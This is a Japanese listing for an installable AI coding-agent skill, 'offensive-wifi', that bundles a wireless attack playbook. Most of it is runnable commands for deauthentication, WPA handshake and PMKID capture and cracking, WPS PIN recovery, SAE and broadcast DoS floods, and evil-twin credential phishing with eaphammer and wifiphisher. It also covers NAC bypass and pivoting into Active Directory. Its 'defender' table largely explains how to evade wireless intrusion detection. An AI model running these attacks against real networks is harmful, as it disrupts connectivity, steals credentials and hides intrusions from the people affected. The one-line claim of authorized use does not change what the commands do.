offensive-wifi について
許可を得た評価向けの無線セキュリティテスト手法ガイドです。802.11 の調査や認証テスト、関連する無線技術を扱い、機器選定、ツール例、防御側の検知情報も示します。
主な機能
- 01無線アダプターとモニターモードの選定
- 02802.11 の調査手順
- 03WPA・WPA3・WPS のテスト資料
- 04企業認証と不正 AP のテスト
- 05KRACK と FragAttacks の確認
- 06検知と防御側の観点
活用シーン
- 01許可を得た Wi-Fi 評価の計画
- 02WPA/WPA3 設定とリスクの確認
- 03企業 802.1X 認証設定の評価
- 04無線攻撃の検知兆候の把握
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-wifiインストール後、Claude Code で/offensive-wifiを入力して読み込まれたか確認します。
詳細
ワイヤレス/802.11 — 攻撃的テスト手法
クイックワークフロー
- 適切なアダプターを選びます(モニターモード+インジェクション+対象に適したバンド/PHY)
- 無線環境をパッシブに調査します。トポロジーを把握する前に、デオーソライズを行ってはいけません
- 攻撃方法を選びます:ハンドシェイクのキャプチャ、PMKID、イービルツイン、KARMA、またはWPS
- オフラインでクラックします。オンラインの辞書攻撃に頼らないでください
- WPA-Enterpriseの場合は、窃取した認証情報または不正なRADIUSを経由して侵入します
ハードウェアとアダプターの選定
| チップセット | 強み | 備考 |
|---|---|---|
| Atheros AR9271 (Alfa AWUS036NHA) | 2.4 GHzで安定したモニター+インジェクション | 802.11nのみ |
| Realtek RTL8812AU (AWUS036ACH) | デュアルバンド、インジェクション | ドライバー:aircrack-ng/rtl8812au |
| MediaTek MT7612U (AWUS036ACM) | 安定したデュアルバンド | 最近のカーネルでは標準搭載 |
| MediaTek MT7921AU | Wi-Fi 6のモニター(制限あり) | パッチ適用済みのドライバーが必要 |
| AWUS036AXML / AXM | Wi-Fi 6E(6 GHz) | 最新技術のため、リリースごとに確認してください |
# Verify monitor + injection
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo aireplay-ng --test wlan0mon
iw list | grep -A 8 "Supported interface modes"
偵察
# Multi-channel discovery (all bands)
sudo airodump-ng wlan0mon --band abg
# Targeted on a known channel/BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
# Hidden SSID — wait for client probe or force deauth
sudo airodump-ng -c 6 --essid-regex "." wlan0mon
# Wigle / Kismet for war-driving
kismet -c wlan0mon
記録する主要データ: BSSID、ESSID、チャンネル、暗号化方式、PMFの状態、クライアント一覧、RSSI、ベンダーOUI。
WPA / WPA2-PSK
4ウェイハンドシェイクのキャプチャ
# Targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# Force a reconnect (deauth one client, do not blanket the AP)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
EAPOLフレームが利用可能か確認します:
hcxpcapngtool -o hash.hc22000 handshake-01.cap
PMKID(クライアント不要)
PMKIDはAPからステーションへの最初のメッセージに含まれるため、接続中のユーザーがいなくても取得できます。
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
クラック
# GPU dictionary attack
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
# Mask attack (e.g. carrier defaults: 10 digits)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
WPA3 / SAE
トランジションモードのダウングレード
APがWPA2とWPA3の両方をアドバタイズしている場合(トランジションモード)、RSNのみのビーコンをスプーフィングし、PSKとしてキャプチャすることで、クライアントをWPA2に接続させます。
Dragonblood (CVE-2019-9494/9495/13377)
SAEに対するサイドチャネル攻撃およびダウングレード攻撃です。曲線の多様化が不十分な古いhostapd(<2.10)では、タイミング/キャッシュ攻撃によってパスワード要素が漏えいします。
# Reference implementation
git clone https://github.com/vanhoefm/dragonblood
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
SAE認証フラッディング(リソース枯渇)
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Triggers heavy crypto on AP CPU; can DoS lower-end deployments
WPA-Enterprise (802.1X / EAP)
方式の特定
# Watch initial EAP-Request/Identity to fingerprint method
tshark -i wlan0mon -Y "eapol || eap" -V
| 内部方式 | 攻撃 |
|---|---|
| EAP-MSCHAPv2 (PEAP/TTLS) | NetNTLMv1形式のチャレンジをオフラインでクラック |
| EAP-GTC | パスワードが平文のため、不正なRADIUS経由でキャプチャ |
| EAP-TLS | クライアント証明書を窃取(ユーザーのキーチェーン/DPAPI/NDESに保存されていることが多い) |
| EAP-PWD | Dragonbloodクラスのサイドチャネル |
不正なRADIUSを使ったイービルツイン(MSCHAPv2 / GTC)
# eaphammer — automated rogue AP + RADIUS
eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF \
--auth wpa-eap --creds
# Captured hashes → asleap or hashcat -m 5500
asleap -C challenge -R response -W wordlist.txt
重要: サプリカントでサーバー証明書とCNをピン留めしていない組織は脆弱です。ServerValidationが無効になっているWin10/11(BYODで一般的)では、認証情報が渡されます。
EAP-TLS証明書の窃取経路
- ユーザープロファイルからDPAPIマスターキー+証明書blobを取得(
%APPDATA%\Microsoft\SystemCertificates) - NDESの設定ミス(ESC8クラスの証明書リクエスト悪用)
- ACLが弱いADCSユーザー自動登録テンプレート
WPS
Pixie Dust(オフライン)
# Capture WPS exchange
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# Or
bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
脆弱なチップセット:Ralink、Realtek、Broadcom(古いファームウェア)、MediaTek(特定のリビジョン)。ノンスが予測可能な場合、Pixiewpsは数秒でPINを復元します。
オンラインPINブルートフォース(最終手段)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -N -d 15 -t 30 -T .5 -r 3:30
# Most modern APs lock out after a few failures — slow and noisy
イービルツイン/KARMA/Mana
標準的なイービルツイン(キャプティブポータル)
# wifiphisher — automated AP + phishing portal
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
# airgeddon — interactive menu (good for one-off engagements)
sudo airgeddon
KARMA / Mana(プローブの悪用)
古いステーションはPNL(優先ネットワークリスト)のプローブをブロードキャストします。KARMAは何に対しても「はい」と応答し、Manaは現実的なESSIDを1つ選んで一貫して応答することで、MACアドレスのランダム化を回避します。
# hostapd-mana
sudo hostapd-mana ./mana.conf
# Combine with rogue RADIUS for enterprise nets
eaphammer -i wlan0 --known-beacons --known-ssids-file ssids.txt \
--auth wpa-eap --creds --hostile-portal
MACアドレスのランダム化の回避
iOS/AndroidはMACアドレスをランダム化しますが、SSIDごとの安定したIDが漏えいします。シーケンス番号とタイミングでプローブをクラスタリングし、デバイスを再特定します。
KRACKとFragAttacks
| 攻撃 | 分類 | 対象 |
|---|---|---|
| KRACK (CVE-2017-13077..082) | 鍵の再インストール | パッチ未適用のWPA2サプリカント |
| FragAttacks (CVE-2020-24586..588) | フラグメンテーション/アグリゲーション | 2021年より前のほとんどの実装 |
ネットワークのパッチ適用状況をテストします:
# Vanhoef test scripts
git clone https://github.com/vanhoefm/krackattacks-scripts
./krack-test-client.py
git clone https://github.com/vanhoefm/fragattacks
./test-fragattacks.py wlan0
デオーソライズ/ディスアソシエーション攻撃
# Single client deauth (use for handshake capture)
aireplay-ng --deauth 3 -a AP -c CLIENT wlan0mon
# Broadcast (DoS — only with explicit authorization)
mdk4 wlan0mon d -B target_bssids.txt
# Disassoc + auth flood combo (kicks then prevents reconnect)
mdk4 wlan0mon a -a AP_BSSID -m
802.11w(PMF)は暗号化されていないデオーソライズをブロックします。最新のエンタープライズAPでは、ほとんどの場合、これが必須です。PMFをサポートしていないクライアントは、Actionフレームを使って切断させることができます。
802.1X/有線NACの回避(関連事項)
# Sniff valid 802.1X exchange on wired side
tcpdump -i eth0 -w nac.pcap ether proto 0x888e
# silentbridge / nac_bypass — transparently bridge through an authenticated host
git clone https://github.com/s0lst1c3/silentbridge
silentbridge --takeover --phy wlan0 # variants for wired
Wi-Fi 6 / 6E / 7 に関する考慮事項
- **6 GHz(Wi-Fi 6E)**ではWPA2のみの利用が無効化され、WPA3とPMFが必須です。仕様により多くの攻撃が緩和されます。
- OFDMA / MU-MIMO:従来のインジェクションではRU割り当てとのずれが生じることがよくあります。テストベンチでパケットの配信を確認してください。
- TWT(Target Wake Time):認証解除のウィンドウは異なります。インジェクションの前にBAセッションを観察してください。
- MLO(Wi-Fi 7):単一のクライアントが複数のリンクを使用します。セッション全体を復元するには、すべてのリンクをキャプチャする必要があります。
サイドバンドと周辺のワイヤレス技術
| 技術 | ツール | 備考 |
|---|---|---|
| Bluetooth Classic | redfang、crackle、btproxy | LMP/L2CAPファジング |
| BLE | bettercap、Sniffle(TI CC1352)、Frontline | GATT列挙、LE Secure Connectionsのダウングレード |
| Zigbee / 802.15.4 | KillerBee、apimote、ATUSB | Touchlinkコミッショニングの悪用 |
| Z-Wave | Z-Force、EZ-Wave | S0キー再利用のバグクラス |
| LoRa / LoRaWAN | LoRaPWN、ChirpStack | Join要求のリプレイ、ABPキーの再利用 |
| 433/868 MHz(Sub-GHz) | HackRF / Flipper Zero | ガレージドア、ドアベル、テレメトリー |
侵害後のRADIUS/バックエンドへのピボット
# If you crack a domain user via PEAP-MSCHAPv2, pivot to AD
nxc smb dc -u captured_user -p cracked_pass --pass-pol
# If RADIUS server is stand-alone (FreeRADIUS), check users file & MOTP secrets
# If on Windows NPS, pivot via the service account context
エンゲージメント用チートシート
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. Recon (do not deauth yet)
sudo airodump-ng wlan0mon --band abg --write recon
# 3. PMKID sweep (passive)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
# 4. Targeted capture if PMKID empty
sudo airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a <AP> -c <client> wlan0mon
# 5. Crack offline
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 6. If enterprise → eaphammer evil twin
# 7. Document SSID, BSSID, channel, RSSI, encryption, attack used, time
検知/防御側の視点
| AP/WIDS検知器 | トリガー | 回避策 |
|---|---|---|
| 過剰な認証解除 | 1つの送信元MACから毎秒5回を超える認証解除 | 偽装MACに分散し、個々の対象を狙う |
| 不正APの検知 | 監視対象チャネル上に未認可のBSSIDがある | 実際のBSSIDのビーコンタイミング/IE順序に正確に合わせる |
| Karma応答の異常 | APがすべてのプローブSSIDに応答する | Manaモードを使用し、妥当なSSIDを1つ選ぶ |
| WPSロックアウト | PINの失敗が繰り返される | Pixie Dustはオフラインでのみ使用し、オンラインのブルートフォースは中止する |
| RADIUSログ:証明書の不一致 | サプリカントがEvil Twinの証明書を拒否する | 被害者のCA署名済み証明書のコピーを使用する(可能性は低い) |
主要な参考資料
- MITRE ATT&CK:T1200(ハードウェアの追加)、T1557.004(Evil Twin経由のAiTM)
- IEEE 802.11-2020(KRACK緩和策を含む統合仕様)
- WPA3仕様/Wi-Fi Alliance:脆弱性の追跡にはdragonblood.net
- hcxtools / hashcatのWPAモード:ドキュメントはhashcat.net
- 出典:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md